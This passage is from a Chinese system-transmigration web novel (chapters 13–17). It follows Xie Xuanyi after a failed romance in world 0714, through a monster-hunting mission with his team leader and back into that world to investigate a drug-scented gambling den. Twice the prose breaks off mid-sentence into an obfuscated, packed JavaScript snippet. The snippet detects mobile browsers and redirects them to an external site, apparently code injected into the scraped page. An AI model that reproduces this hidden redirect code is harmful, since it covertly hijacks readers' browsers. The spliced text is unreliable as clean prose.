喉管撕裂,谢璇衣已然说不出来话,只能对他做口型,却因为失血过多,眼前模糊纷乱,再也看不到沈适忻面上的表情。 这大概率算是遗言了。 谨慎地想了想,谢璇衣说,我一点也不想再爱你了。 沈适忻,你只是一串数据而已,一串让我最铭心,最难捱,最卑微的数据。 意识昏沉,难分昼夜,谢璇衣腰间佩囊系带被箭割断,那块没送出手的玉佩“啪”一声,结结实实地摔在地上。 碎得像是每一个他在噩梦里看到沈适忻、惊醒又辗转间,在眼泪里看到的月光。 四分五裂,碎镜难圆。 “恭喜宿主,0714小世界主线,保护沈适忻于宫变中存活,任务完成。” “数据正在回收中,请宿主稍安勿躁。” “主系统空间提供心理诊疗服务,宿主可自愿选择是否进行治疗,消减在小世界中过多投入的感情。” “请宿主注意,小世界仅为数据模拟构造空间,情感资源珍贵,投入请慎重。” 14. 第 14 章 主系统空间时间,两年后。 一片密林边陲,谢璇衣将护目镜拉回头顶,一头长发在硝烟里飞扬。 “绷带。” 一卷刚拆开的绷带立刻被递到他手上。 用小刀挑开手臂上有些焦的皮肉,谢璇衣牙咬着一端,扯出一长条,裹在伤口上简单止血。 他漂亮的眉眼丝毫未动,像是在给别人处理伤口。 “啧啧,阿衣,我看着都疼,你轻点啊,这么好看的小胳膊留疤可不好看呢。” 宋盈礼脸上一层灰,手撑着下巴,抹得花猫似的,却看着他直乐,虎牙尖尖。 谢璇衣抬头看了她一眼,丢过来一包没开封的湿巾。 宋盈礼还要贱嗖嗖凑上来玩笑,被谢璇衣按回帐篷里,作势要抢回那包湿巾。 “你用不用,不用还给我,这一包五个积分呢。” “你可是谢璇衣,素星啊!主空间谁不知道你素神专接高难度杀戮本,你居然还吝啬这一包湿巾纸的积分!素神,你的道德去哪里了!” 面对宋盈礼的怪叫,谢璇衣翻了个白眼,把手收了回去。 只是那只手没放回原处,下一刻,他抓起腰间手枪,上膛,瞄准,发射,一气呵成,从他抬眼到远处的变异棕熊倒地,不超过五秒钟。 “鲤仙,你总排名比我高七名,跟我说这种话,你的道德又去哪里了?” 谢璇衣点开任务栏,淡淡扫了一眼完成进度,接近百分之七十五。检查过周围没有危险,他才和宋盈礼小学鸡吵架。 宋盈礼毫无良心,笑嘻嘻地擦干净脸上浮灰,从系统里兑换了根脆黄瓜,咬得嘎嘣作响,饶有兴致地开始享用下午茶。 “别说,遇到你的时候,我也才是升格后的第二个任务,傻不愣登的,没想到你那时候比我还傻。” “就那么被狗男人逗得团团转啊?” 看着谢璇衣认真完成委托任务,宋盈礼开始偷摸划水,甚至有闲心打趣对方。 谢璇衣“啧”了一声,眼神终于从系统弹窗上移开,“你能不能不吃了,小世界里的全部积分消费算在我头上的。” “按这个小世界的时间计算,从传送到现在过去二十个小时,你吃了七串羊肉串,五个巧克力牛角包,一斤半砂糖桔,四根生黄瓜,还有半盒稻香村的点心,你在上个小世界没吃过饭吗?” “这个委托是紫品杀戮本,要清除五百只异常生物,任何变异生物甚至怪物都可能出现,小心你手里的黄瓜等下跳起来给你两巴掌。” “还有,你能不能看看任务进度记录。” 听到谢璇衣的控诉,宋盈礼左耳朵进右耳朵出,往自己的面板上瞄了一眼。 任务贡献:2%。 “哎呀,素神,这不是你在嘛,”宋盈礼得了便宜还卖乖,拍拍工装裤上的灰,“我主攻推理本不懂杀戮本,不然我薅你来干嘛。” 她还是那么喜欢穿色彩鲜艳的衣服。明明是非常简约的版型,宋盈礼却在口袋处缝了几串珍珠,晃来晃去,和她的少女外形很是相称。 谢璇衣手里的枪刚冷却下来,又立刻运作,一连射杀四五只小型变异蜥蜴,他转头看见坐等吃现成的宋盈礼,气不打一处来。 奈何自己当时糊涂,脑子一热便加入了对方的联盟,现在也只能捏着鼻子打工。 两年前他从新手小世界功成身退的时候,被传送到了主系统空间的广场上。 这里的大部分方面与现实并无分别,有日升月落,会刮风下雨,只有那座中心广场不同。 广场用非常纯净的白水晶铺成,朦朦胧胧透出其下的天空色,像是一座无声的警告。 ——这里不是现实世界,不是容许蝼蚁安睡的安乐乡。 后来他猜,宋盈礼是和他一并离开0714小世界的。 因为他们两个传送在同一处位置。 那时候谢璇衣还没从复杂的悲伤与解脱中抽离,看到宋盈礼的时候一时茫然,不知道说什么好,反倒是对方一副“早知如此”的神情,向他递出了橄榄枝。 也是他作为“正式员工”的第一次任务。 小世界的起点是在一个地下酒馆里,谢璇衣作为卧底,要将一封绝密信件送到对应的接应人手中。 那里是欲望的销金窟,任务远比谢璇衣预料的要困难百倍千倍。 他柔软、善良、好骗,一次次死在夜袭、毒药、枪击或是严刑里,从最初夜不能寐惊惧万分,到能够无声无息,将利刃捅进前一秒还在与之谈笑的男人的心脏。 谢璇衣不会用热兵器,全靠着在死亡中一次次积累经验,用一把长刀杀穿围堵的人群,成功护送接应人离开。 第二次离开小世界的时候,谢璇衣一身白衬衫被染得鲜血淋漓,跌跌撞撞地出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099292|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在广场同样的位置。 这一次,宋盈礼带他来到周遭的咖啡厅,笑眯眯地放下一份契约。 一份邀请他作为高级联盟成员空降的契约。 宋盈礼说,她都看得到,他很有潜力。 那时候,谢璇衣才知道,宋盈礼是系统分配给他的监管员,或者接地气点来说,叫上司。 监管员通常是一对十,对下属有指导和帮助的作用,同时下属在任务成功时,系统也会为监管员发放一定的酬劳。 起初,宋盈礼只觉得和对方有缘,毕竟不是每个监管员出任务时,都遇得到自己的下属。 哪知后来,对方很快通过系统考核,层级和自己平起平坐,也成为了联盟小队里配合默契的队友。 听到喜讯的时候,宋盈礼乐滋滋地想,她这么喜欢金银珠宝的人,多有眼光,果然看人也差不了。 主系统空间里,多数人只以昵称相称,而谢璇衣却保持了叫对方真名的习惯。 谢璇衣擦掉溅到脸上的血,给子弹上膛,语气随意,“有糖没,我头有点晕,应该是太久没吃饭低血糖了。” 他这些日子在系统里健身,有了些薄薄的肌肉,肤色却没变得健康,仍然是苍白的。 正因如此,旁人很难发现他面色不对。 宋盈礼从系统空间里翻了翻,丢给他一把鹅黄色包装纸的棒棒糖。 谢璇衣没工夫看,拆掉一只就往嘴里放。 晶莹的硬糖在嘴里化开,他却像是吞进一块烧红的铁,皱着眉吐出来:“桂花味的?” 宋盈礼早从帐篷里钻了出来,不动声色地抽出三支箭,眯起眼睛。 “怎么,你还挑这个?” 早知道对方在这些方面靠不住,谢璇衣找出进小世界前用剩的咖啡糖包,一仰头倒进嘴里,姿态漂亮得像只引颈覆羽的鹤。 “啧,有的吃就不错了,这糖很贵的,”宋盈礼拉弓,对准了远处晃动的树丛,“难不成……你还没忘掉?” 粗制滥造的白糖口味不佳,只有单薄的甜腻,谢璇衣似乎因为难吃的口味皱了皱眉,目光落在同一处地方。 “忘掉什么,鲤仙,你怎么又打哑谜。” “我一直都讨厌桂花味,很恶心。仅此而已。” 三只金红色的骨箭刺入密林深处,一只羽毛绯红、怪模怪样的苍鹰掉下来,连挣扎都无。 15. 第 15 章 宋盈礼固然爱压榨下属,却还没到惨无人道的地步,便允许对方简单休息,用……姑且算是午饭,自己则外出,解决掉任务栏里剩下的部分。 如谢璇衣所说,密林灾劫本来是个紫品任务本,连小世界的排名都颇为靠前,奈何遇上两个卷王中的卷王,手里的武器都已经到了橙品阶段,杀起紫品小喽啰便也像砍瓜切菜一样家常。 还没等谢璇衣吃完手里的自热米饭,宋盈礼已经提着弓回来了。 谢璇衣的武器太过张扬,是一把银色长刀,末尾还像是镀色一般,泛着些紫色的幽光,和他的风格并不匹配,他并不爱用。 但宋盈礼却很满意她的宝贝弓箭,尤其喜爱弓箭上骨雕镶嵌着红宝石的挂坠,叮叮当当挂了一排,不禁让第一次看到的人质疑它的实用性。 这并不影响宋盈礼一箭射穿对方的头盖骨。 见她挂着一身诡异绿血,谢璇衣默默往后退了几步,加快了吃饭的速度。 宋盈礼不满地“啧”了声,把几乎和她齐高的弓撑在地上。 她保持了少女的模样,外形看起来不过十六七岁,资历却比青年外貌的谢璇衣老上许多。 确认任务完成,两人很快清点好物资,赶到对应传送点撤离。 明明主系统空间的传送点有很多个,谢璇衣每次传送却都是在广场上。这次他和宋盈礼分开了。 看到任务栏里的“协助委托”打上绿钩,谢璇衣才放心地回到联盟基地。 联盟基地有独立的地皮,并不在主系统空间,他向系统购买了飞舰票,乘上最快一班。 他对这里没什么归属感,两年了还有很多人并不相熟,甚至算得上朋友的人也寥寥无几。 小世界教会他怎么和武器打交道、怎么和敌人斡旋;系统留给他只有温柔又冷漠的电子音,却无一丝真情;有求于他的人当面谄媚至极,背后却骂他心黑手脏,揣测他与某位并不存在的大佬暧昧不清。 他在这里成为受人瞻仰的“素神”,却没有人教他如何去建立一段真挚的感情。 ——又或许他曾经拥有过,又被迫忘记了。 回到联盟基地,谢璇衣打卡过当日锻炼内容,坐在一旁的长椅上休息,给被刀把磨红的手掌涂药。 他没有开窗,室内广场有些闷热,漂浮着灰尘和霉味。 每个联盟基地建立伊始,都会配备这样的空间,只是多数人醉心于高精尖设备和热兵器,像他这样还在坚持冷兵器的,整个联盟就只剩下宋盈礼和辛泉了。 谢璇衣高高束起的黑发有些松散,凌乱地盖住鼻尖细密汗珠,他垂眼看着手里的长刀,意念微动,那抹亮银便消失在空气中。 这把刀像是和他不对付,一点都不如旁人的本命武器听话,偏偏连名字都是这样。 在新手任务结束的时候,他从系统那里取得了这把刀。 刀把上缠着朱红亮紫的绫罗,格外鲜艳张扬,系统介绍说,它叫锦衾。 刀瞧着富贵,却隐藏不住芒刃上杀人的血性,并不如看着一样无用,就像某位旧时的相识。 原来这是一把连名字都与他作对的本命刀。当时谢璇衣就愣在原地,丢掉不是,拒绝不是,更没有勇气握紧它。 后来不到万不得已,谢璇衣绝对不会拿出这把刀,也很少人能了解到这位素神的偏好。 - 在联盟基地洗过澡,换了清爽的便装,谢璇衣心情好了不少,回到主系统空间的住宅区域,慢慢悠悠穿梭在小巷子里。 这一片住宅区域多是现代风格的公寓,像他这种排名的人很少会住,偏偏谢璇衣喜欢这里装修温馨的小复式,一直没搬家。 主系统空间已经入夜,一轮硕大的圆月犹抱琵琶,刚从高楼间露出一点尖,被谢璇衣甩在身后。 他提着刚买的水果走了半路,突然停下了脚步。 脚边多出来两个影子。 谢璇衣没说话,无奈地选了个幸运自行车,把一袋荔枝往里一扔,空着手转过身。 “让我猜猜你们说什么,打劫?还是受人恩惠要我的命?” 他话还没说完,看到两个陌生男人简陋的装束,轻轻“啧”了声,自己否定了后者。 这种资质,对面再看不起他,也不会找这种人自降身价。只能是亡命的赌徒挑选幸运儿来了。 两个赌徒冲上去,试图以体型优势胁迫面前清瘦又温柔的青年,反被对方抓住双臂用力一拧,软绵绵跪倒在地。 “运气不好,事没成啊,”谢璇衣重新拎起那袋荔枝,头也不回,“主系统空间多得是招工的店铺,去刷盘子比这来钱快。” 还没走两步,从墙头上翻下来一个与他年龄相仿的男人,轻巧地落再他面前。对方一身潮流的风衣牛仔裤,剃了对个性的断眉,朝他身后努了努下巴。 “就这么着……这就给放走了?” 谢璇衣盯着他,从袖口抽出已经用过的小包装袋,丢给对方,“下毒了,他们不伤人不会死。辛泉,你是不是要回收包装?” 男人点点头,“给我就成。心多软啊好同事,赶明儿我上宋姐那好好给你捧两句,保证让她下月多发几个子儿。” 谢璇衣翻了个白眼,正要走,对方却又拉住他,往他怀里塞了本不知道哪个朝代的文物,“哎哎哎别走,说正事啊,这小簿子下个委托任务要用。咱联盟那打板儿的差点把我忽悠瘸,高价卖了我这本,你可别不当回事。” 时隔两年,谢璇衣却还没改掉听他说话就想笑的毛病,眉眼的弧度都温和不少,拍拍他的肩,“我知道了,你早些回去。” 这场单方面的偶遇以辛泉要走了半斤荔枝终结。 谢璇衣回到公寓,锁好门,一边吃荔枝一边研究那本古籍,翻来覆去看了几遍,瞧不出个所以然来。 左右兵来将挡,谢璇衣记了个大概,便去卫生间准备洗漱睡觉。 冷水泼在脸上,无端加剧他心里几分隐约的不安。 镜子里,青年人依然是人畜无害的模样,连发梢溅落的水滴都加重了这份外在的无辜,但眉眼间的神情却远非昔年可比。 谢璇衣用毛巾擦干净脸上的水,耳边响起微弱的电流声。 系统突然出声毕竟不是一次两次,他早已习惯,只是奇怪于这一次过久的铺陈。 电流声不规则地响了快一分钟,这期间谢璇衣已经清理好洗手台上的碎发,正准备关灯出来 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听着系统那巴不得把邻居家大舅姥爷的亲孙女的尿布钱都算他头上的架势,谢璇衣不得不举手投降。 “行,我去,行了吧,你总得告诉我是哪出了问题吧。” 系统腼腆:“检测漏洞额外需要花费积分……” 谢璇衣没招了,喝了几口温水平复心情,咬牙切齿道:“那是哪个小世界总能告诉我吧。” 这都不知道你们干嘛吃的。 系统终于不腼腆了:“宿主查询小世界:0714号。” 谢璇衣本以为这串数字已经被自己彻底忘记,却不想彻底忘记是他难以触及的奢望。 他在想起这个小世界中发生的一切时,难免心脏抽痛。 他半晌没说话,端着水杯靠在门框,眼底掩映着落地窗外的圆月。 “预计多久……算了,你大概也不知道。我可以去,但我明日还有委托,申请一个免费调整小世界时间流速,不过分吧。” 系统善解人意:“已为宿主申请完毕,无论宿主在小世界内耗费多久,意识抽离时主系统空间时间均为二十二点三十分零秒。” 也就是十分钟后。 由此,谢璇衣勉强同意。 他放下水杯,静待着意识片刻混沌。 意料之中的晕眩很快到来,一阵难以忍受的杂音和扭曲画面后,他周身气温骤然下降十几度,这次的身体似乎穿着轻薄,并不足以抵挡体感十度的凉意,微微发抖。 在意识传输期间,约有两分钟身体不听使唤,他早已习惯,可这一次,却没有预料之中的安全期。 几乎是在意识抵达的一瞬间,有一桶冷水被当头淋下,打湿他单薄的素衣。 他身上似乎有伤,被水打湿过后,丝丝寸寸刺痛难捱。 陌生而威严的中年男音,声音里隐含着不易察觉的疲倦和失望。 “谢璇衣,你身为天玑领事,却心慈手软,害得摇光一次次置身险境,易容险些被大火毁去。” “对你,朕很失望。” 16. 第 16 章 待到身体恢复控制,谢璇衣再不敢耽搁,几乎下意识以头抢地,散发泄了一地。 “属下知错,属下罪该万死,斗胆求陛下留属下一命,属下必赴汤蹈火,以报君恩。” 听到那似乎是皇帝的男人的言语,谢璇衣便知道自己至少不必死在今天。 ——这样地位的人,杀他一个小小的下属,完全不需要费力说这些话,直接叫人动手便是。 这样一言语,反倒像是做戏给他瞧,要他戴罪立功。 男人听了这话,似乎平复了些许,一阵布料委地拖拽的窸窸窣窣后,声音离他远了些,更听不清话语里的情绪。 “你要朕留你一命,可。” “但朕要看到你的诚意,谢璇衣,你起身,上前来。” 谢璇衣闻言,并不敢抬头,只是以手撑地,勉强站起来,身体摇摇晃晃,想来先前受过伤。 他所在的宫殿更像是一处天牢,瞧不见自然光,多数陈设以铁打造,泛着丝丝缕缕幽光,光是扫一眼便心下冰冷异常。 难辨昏晓,不知昼夜。 也不知道他这主子什么癖好。 他垂着头,带着一身冰凉的衣裳小步上前,在眼前出现精致的垂幔时停下脚步。 直觉告诉他,该在这里停下,前面并非他能置身的领域。 他的猜测果然正确,他刚在原地跪下,从帘子里走出一位素纱遮面、黑衣黑裙的侍女,瞧不出年龄。 侍女似乎受人命令,并不言语,只是微微倾身道了句:“领事,多有得罪。” 随后以与她外形不符的力度,钳起他的下巴,迫使地上的男人抬起头,张开嘴。 谢璇衣并未预料,被强行捏开嘴的时候,才看到头顶以铜为镜,倒映着整个宫室的陈设,却因恰到好处的设计,照不见帘内光景。 就在他片刻惊异中,有微凉的圆球滚进口腔,瞬间化开。 下一秒,女人纤细的手指一松,放归他身体的自由。 这一切来得太过迅疾,女人松手时他失去重心,伏在地板上呛得面色惨白。 药丸很苦,仿佛浓缩了整个山头的黄连入药,比起配方,更像是一种顽劣的恶意。 要教服药的人留个心眼,引以为戒。 在帘内注视一切的男人没有说话,耐心等着他缓和过来。 比起两年前,他确实已经健康了不少,却仍然难以掩盖躯干清减,瞧着几乎比身侧手持托盘的侍女还要消瘦些。 此刻衣衫湿乎乎贴在他分明的后背上,透着不寻常的冷白,冷意从四肢百骸攀升起,萦绕着每一处骨骼,像是骨髓里浸透了冷意。 偏微微抬头时,能叫人看见根根分明又纤长的睫毛,睫毛垂着,盖着眼尾一段粉红。 这天玑领事难以窥见真容,今日一见,分明是个瞧着病弱无害的美人。 - 谢璇衣从这处宫殿里出去的时候,手里多了一份密函,后背的冷汗混着未干的水汽,冷得人无端发抖。 他在寒气里醒神的功夫,身后跟上一个沉默的影子。 “天玑。” 谢璇衣止住脚步,并没有整个人转过去,提着长刀的手无端用力,留给他一个侧脸,在月光下显得无悲无喜。 他并不知道来人身份,只是淡淡问了句:“何事。” 想是被谢璇衣的冷漠吓到,来人要搀扶他的手停在半空,扶不是,落更不是。 “天玑,我知道我不该,可是……” 他犹犹豫豫,像是奇耻大辱一般难以启齿,低低道了声:“……我怕死,天玑,我妹妹还在宫中。” 这两句信息量已经足够大,足够谢璇衣猜出来人的身份。 能在半夜来和他说这些不明不白的话的,不是脑子有点问题,就是心里有鬼夜深难寐,很显然,来人不属于前一种。何况他又刚被皇帝责罚,在外人眼里无疑是从鬼门关中走了一遭,某些人愧疚难当是应该的。 “我没事,你回去吧。” 虽然大概猜到是对方陷害自己,谢璇衣心里存着火气,却担心多说多错,索性先宽容大度放过对方。 摇光把他的话当成了气话,"天玑,我知道陛下对你用刑了。" 哦,所以呢。谢璇衣听对方无关痛痒的辩白,快要失去耐心,转身正要走,却听摇光提高了些音量,声音发抖。 “天玑,你是不是服了那个药。” 对方终于肯说到正事上,谢璇衣“嗯”了声,依旧没什么表情,等待对方的后文。 “三年……你,你也没逃过……”摇光的眼睛是浅灰色,比一般人的瞳色都浅许多,此时正面对着月光,树影一会盖住眉眼,一会暴露在月光下,顿时颓靡不少。 他喃喃两句谢璇衣听不懂的话,失了魂一般走了。 留下一个想要洗耳恭听却落得一头雾水的谢璇衣。 他在原地愣了一会,还是想不明白对方的意思,扭头问系统:“我今天晚上住哪?” “建议宿主暂居宫外。” 谢璇衣始终是一个很听劝的人,欣然笑纳系统建议,在宫外寻了家尚未打烊的旅店,随意开了间房休息。 屋内点上烛火,方才还在瞌睡的掌柜握着手里的碎银,满脸殷切,生怕这位富贵少爷哪里不适应。 被这样的目光看着,谢璇衣难以忍受,三言两语将人打发了,独自沐浴更衣,锁好门窗,坐在床边打开密函。 密函上,是皇帝留给他的任务,谢璇衣发丝垂在宣纸上,溅开几个水点。 蜡烛的微光很快感染了素白的纸,一片活跃的明灭后,落下一层焦黑的粉屑,被纤细优雅的手指撮成小团,丢进香灰中。 那皇帝倒是不客气,要他暗中调查几个官员频繁出入的茶楼。 那茶楼坐落于京郊,说近不近说远不远,谢璇衣略略一想,没准自己曾经也去过。 结合位置、规模,谢璇衣一猜便知那楼里做着什么勾当。 赌场呗。 否则一个位置偏僻的茶楼能从哪里来光彩的钱。 谢璇衣从楼梯拐角出来,站在半层楼高的拐角,把一小袋碎银丢到刚刚的掌柜桌上。 掌柜有一搭没一搭地点着头,瞌睡顿时被重物砸桌的巨响吵醒,正要开口骂这不知好歹的人,就看出锦囊里装着的物件,随即看到拐角处倚着栏杆似笑非笑的谢璇衣,见钱眼开,满脸堆笑,搓着手殷切凑上来。 谢璇衣心里笑,不愧有钱能使鬼推磨。 “客人,您真的只要打听谱风楼?”掌柜听完谢璇衣的诉求,眼底挂上一丝疑惑。 谢璇衣作势要生气,裹了裹滚了圈狐狸毛的外氅,慵懒又贵气,心里却庆幸皇帝出手阔绰,不在这些方面为难下属,也是让他享受了一把。 他说话时夹了丝现实里家乡话的口音,装成不熟悉的样子,“来帝京做些胭脂水粉买卖啦,怎么,还不让人打听呐?” 掌柜的又打量他几分,似乎觉得对方没说实话,可看着又的确是那么一回事,不多追究。 他重新挂上笑容,连忙向对方谢罪:“哎哟,多有得罪,公子可莫要怪罪,实在是这谱风楼近日鼎鼎大名,听说茶汤甘美鲜甜,引人竞相尝上一尝,门槛都快踏破咯。” “要说知名,也不过茶汤与熏香了。”掌柜苦思冥想,生怕遗漏什么关键信息,惹得面前看着金尊玉贵的主儿不快。 “那香,不知道用了什么做底子,燃起来连烟都不怎么瞧见,甜丝丝的,又不腻人,让人闻了还想多闻,”掌柜说着,面色露出几分陶醉,“听说有几位公子哥要买,那老板是江湖人,认死理,死活不卖呢。” 说完这些,掌柜又东扯西扯一些八卦笑料,听得谢璇衣提不起半分兴趣,赶忙把人轰走。 聊完这些,谢璇衣也困得快睁不开眼,连忙用炭笔在草纸上比划几下,记录下重要信息,之后压在枕头下,匆匆忙忙补觉去了。 如果按他的体感来推算,几乎有三十个小时没合过眼,白日运动量又不小,他早已困得头脑不清醒了。 第二日谢璇衣一觉睡到正午,才懒懒散散下楼用午膳。 既然是赌场,大概没有白天开的道理,去太早恐怕耽误时间,还什么都查不出来。 若是真像掌柜说的那般出名,皇帝又有所怀疑的话,官府早就上下里外查了几十个来回带拐弯了,哪还用得着他。 他饮食上不怎么挑,一向是有什么吃什么,清粥小菜也觉得暖胃。 舒舒服服休息一番,谢璇衣续了房,回到屋里找出自己的工具,在铜镜前坐下来。 他并不会易容,仅有一点在现代小世界给明星当助理的经验,补个妆都不算顺手,更别提换头术了。 在系统的恶补之下,谢璇衣徒手捏高了颧骨和眉骨,整个人的骨相顿时立体,却依然看得出清秀的容貌。 他把裸露在外的肤色压暗,看着倒是健康又年轻力壮的小伙子模样了。 换了身平时不爱穿的墨色衣服,谢璇衣抓着折扇敲敲打打,跟着其他客人有样学样,作一副地痞流氓样,租车前往谱风楼。 赶到时候天色微暗,谢璇衣先点了壶招牌白茶,有一搭没一搭品味着,虽说口感不错,却还没到惊艳人的地步。 他嗅了嗅空气里的甜腻气息,大概就是掌柜说的熏香了。 并没有哪里好闻到令人痴迷,甚至不惜为之大打出手,谢璇衣把茶杯轻拎着,在指尖转了几个个。 莫非他方向错了? “小二,你家招牌金银琳琅,今日可有供应?” 正当不解时,谢璇衣听到另一桌的男人声音刻意压低,隐约窃喜或期待着什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099294|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “有的,您随我去后厨挑。”小二毫无犹豫,行云流水地收下了对方递来的银两,做了个“请”的手势。 很快,又有几人如此询问,话术几乎一模一样,又有一旁的店小二围上去。 谢璇衣听懂意思,正要开口,却见其中一个男人满面愠怒:“前几人都有,为何到我这里便没了?” “实在遗憾,公子与那酥饼今日无缘。” 那小二说话客气,站在一旁的彪形大汉却隐隐蠢蠢欲动,那男人见了,也不敢再说什么,连忙付了茶钱,离开了谱风楼。 谢璇衣收回目光,盯着杯壁上精美的花纹。 看来是暗号。 暗号会是什么呢。 他想着,见小二去招呼另一位要“金银琳琅”的客人时,手腕微微一动,碰洒半盏茶水,刚好泼在过道中小二必然会走的一条。 小二忙着数手里的银子,精神紧张,没瞧见地上一滩亮晶晶的反光,脚一滑便栽在地上,手里的银子散了一地。 他“哎哟”哀嚎一声。 谢璇衣像是被吓到,连忙起身拉起对方,口中连连念叨着“抱歉”之类的话,将小二扶到自己的座位上,替摔蒙了的对方捡起银子,放到他手中,满脸真诚的歉意,“真是不好意思,这位小哥,我刚才手抖洒了水,没及时叫人来擦,连累了你。你瞧瞧银子没差吧。” 见到谢璇衣这样美人局促又担心,小二一肚子火气也灭了,数了数银子,松了口气:“没差,客人您先坐,我去叫人来擦地。” 小二在谢璇衣担心的目光里一瘸一拐走远了,甚至有些飘飘然,全然没注意美人刚刚的动作。 方才捡银子的时候,谢璇衣掂了掂银子的重量。 很快,来擦地的小二就走了过来。 谢璇衣坐在另一桌,一手撑着头,似笑非笑地招呼他:“小二,你家招牌金银琳琅,今日可还有供应?” 他说完这句话,似乎感受到很多道目光投来,分不清善意还是恶意。 小二收了银两,静了片刻,露出谢璇衣刚刚看到的如出一辙的笑容。 “有的,客人,您随我来。” 谢璇衣跟着那小二身后,握紧了袖口。 小二真的将他引到后厨来,却绕开了乌烟瘴气的厨房,走向另一处偏门,掀起门帘,微笑面对他。 “客人,您请。” 门帘之内空空荡荡,没有声音,也没有人影。 谢璇衣几乎立刻皱起了眉。 在曾经的小世界学到的教训都不白挨,面前的景象分明来者不善。 他沉下脸色,回视小二,疑问句当做肯定句来说。 “你试探我。” 小二见状,松了口气,笑容依旧那般古怪又谄媚。 “小的只是见公子面生,既然公子懂这里的规矩,不知是哪位大人引荐?” 脑子里闪过一些看不清脸的身影,他顿了顿,“啧”了声。 “你在京中,不知沈氏之名?” 谢璇衣也没有十足的把握,这里的时间线又隔得太久,他一点了解也无,不敢贸然试探。 一时间竟然只有那个他不愿意提起的名字,才勉强说得出口。 “原来是沈大人的友人,恕小人冒犯了,”小二正色下来,对他拱了拱手,“公子今日初来乍到,不可坏了规矩,还请公子略一忍耐,以普通客人身份走一回。” 谢璇衣听到这里,又垂下眼。 竟然还是成熟的分层制度。 他顺着小二的指引,从真正的“普通客人通道”进入地下一处装潢奢靡的大厅。 这里四周都摆放着雕花奢美的灯架,千根火烛明明灭灭,比白日还要明亮几分,一直盯着看恐怕会灼伤双目。 想来这里就是真正的赌场了。 谢璇衣手心发汗,从容走过去,按照指引兑换了筹码,来到真正的赌场中。 人声喧闹,哗啦啦的碰撞声清脆悦耳,笑声、喊叫声,甚至哀嚎和哭声都混杂在一起,像是从人间坠落到哪个修罗地狱里。 谢璇衣光是看着,便觉得不寒而栗,甚至方才嗅到的熏香又若有若无涌了出来。 他才意识到自己有些昏昏沉沉,连忙警觉。 这赌场太不对劲了。 然而他站在这里,仿佛鹤立鸡群,不过一盏茶的功夫,隐约的探究目光便越来越多。 担心自己还没查到信息就被赶出去,谢璇衣装作苦恼,挑了一桌还有空缺的赌席坐下。 这是一桌比大小。 很简单的玩法,他在某个小世界里为了破局,也曾经上过赌桌。 只是这一次,他凭借一些印象放上筹码,面前的美艳荷官却微微一笑。 笑容不达眼底。 “客人,筹码太小了呢。” 17. 第 17 章 这一句甚至带着甜腻尾音的话,听在谢璇衣耳中,犹如晴天霹雳。 他本以为自己受到熏香的影响没那么大,现在看来却比预料的严重太多。 他正打算开口说些什么,旁边的男人像是喝醉了一样,豪气万千地掏出一沓赌注,往谢璇衣面前一拍,配合着木桌子发出清脆的撞击声。 “我替他出!” 男人嘿嘿一乐,看着谢璇衣,拍了拍他的肩膀,带着一身酒气凑过去。 “小公子瞧着动人,我喜欢这样的美人。” 谢璇衣被对方的突然靠近吓了一跳,浑身僵硬却没法躲开,目光扫过男人拍在他面前的赌资,才知道原来下注需要这么多。 如果他对颜色的理解没什么问题,那么下一注需要…… 一百两银子。 这是一个多么庞大的数字。 而这还是一桌被定义为低级的赌局。 他突然明白为什么茶楼能一直开下去了。 谢璇衣不动声色地拍开男人的手,笑了笑,“让公子见笑了,瞧我这霉运,方才在另一桌上把银两输了个精光。若是等下回了本,定然加倍还给公子以表感激。” 男人哈哈一笑,像是没把他的话放心上。酒鬼的动作一向大胆,男人暧昧的眼光在他面上停留一阵,看得谢璇衣几欲作呕。 荷官没给多余时间,很快开局。 谢璇衣手气不错,赌了四五把,多半都中了,一来一回赚了约四百两银子,如约还给酒鬼后,谢璇衣扯了扯衣襟,一推桌案,称自己头昏脑涨,要找一处歇歇。 他步履飘飘悠悠,从密集的关注中离开,立刻恢复了正常。 这么大个赌场,会把账房安插在哪呢。 此处人生地不熟,谢璇衣万万不敢胡乱走动。他靠在一处圆柱旁,假意醒神,却越发烦躁。 他完全猜不到,即使有几个假设也难以验证,风险太高。 要是一般的任务也就罢了,大不了死了读档重新开始。 可是这种修复类型,也就算得上是二周目的任务却不能,死了,便真是死在这里了。 甚至在这里绝大部分系统功能都被禁止,即使一小部分能用,也需要使用者支付高昂的积分。 所以他一向不愿意参与,只是为了求稳,减少风险。 曾经宋盈礼找他讨论过一个问题,问他做满一百个任务以后回到现实,打算去做什么。 这个问题他到现在都没有答案。 若说财富地位,他在主系统空间里应有尽有,称一句人上人完全不为过。 可别的,他似乎也想不起什么了。 脑子里混乱着,滚过无数个念头,一瞬间,谢璇衣忽然听到几句笑声。 “李大人不必多言,沈某自然都懂,静候佳音便是。” 他太久没听到的声音,像是沧海桑田之后,在深厚的泥沙中翻出来一些化石,用一些隐秘的方式,固执地记录和埋藏下过去的点滴。 然而化石是没有生命的。 它只有价值。 不知道从哪里起了逃的心思,谢璇衣僵着身子,仿佛一只木偶,转身一步步走得机械。 裁剪干练的黑色衣摆扬起一道浪,只留给旁人冷漠又雷厉风行的背影。 正笑着的男人无意识看过去,笑容似乎淡了些。 